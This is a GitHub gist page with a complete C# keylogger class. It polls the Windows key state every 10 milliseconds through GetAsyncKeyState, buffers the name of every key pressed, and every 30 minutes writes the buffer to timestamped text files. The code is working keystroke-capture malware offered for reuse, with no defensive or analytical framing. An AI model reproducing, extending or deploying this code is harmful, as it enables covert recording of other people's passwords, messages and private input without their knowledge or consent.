Skip to content

Instantly share code, notes, and snippets.

@progress44
Created October 7, 2018 20:07
Show Gist options
  • Select an option

  • Save progress44/f35d33332018a761ed9cd6c5e2980fa7 to your computer and use it in GitHub Desktop.

Select an option

Save progress44/f35d33332018a761ed9cd6c5e2980fa7 to your computer and use it in GitHub Desktop.
C# Keylogger class
public class Keylogger
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
private System.String keyBuffer;
private System.Timers.Timer timerKeyMine;
private System.Timers.Timer timerBufferFlush;
public string repo = String.Empty;
public Keylogger()
{
keyBuffer = "";
this.timerKeyMine = new System.Timers.Timer();
this.timerKeyMine.Enabled = true;
this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
this.timerKeyMine.Interval = 10;
this.timerBufferFlush = new System.Timers.Timer();
this.timerBufferFlush.Enabled = true;
this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
this.timerBufferFlush.Interval = 1800000; // 30 minutes
}
private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
}
}
}
private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
Flush2File(this.repo, true);
}
public void Flush2File(string file, bool append)
{
try
{
DateTime d = DateTime.Now;
var filename = d.ToString("s") + ".txt";
filename = filename.Replace(":", "-");
StreamWriter sw = new StreamWriter(file + filename, append);
sw.Write(keyBuffer);
sw.Close();
keyBuffer = ""; // reset
}
catch
{ // rethrow the exception currently handled by
// a parameterless catch clause
throw;
}
}
#region Properties
public System.Boolean Enabled
{
get
{
return timerKeyMine.Enabled && timerBufferFlush.Enabled;
}
set
{
timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
}
}
public System.Double FlushInterval
{
get
{
return timerBufferFlush.Interval;
}
set
{
timerBufferFlush.Interval = value;
}
}
public System.Double MineInterval
{
get
{
return timerKeyMine.Interval;
}
set
{
timerKeyMine.Interval = value;
}
}
#endregion
}//Keylogger
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment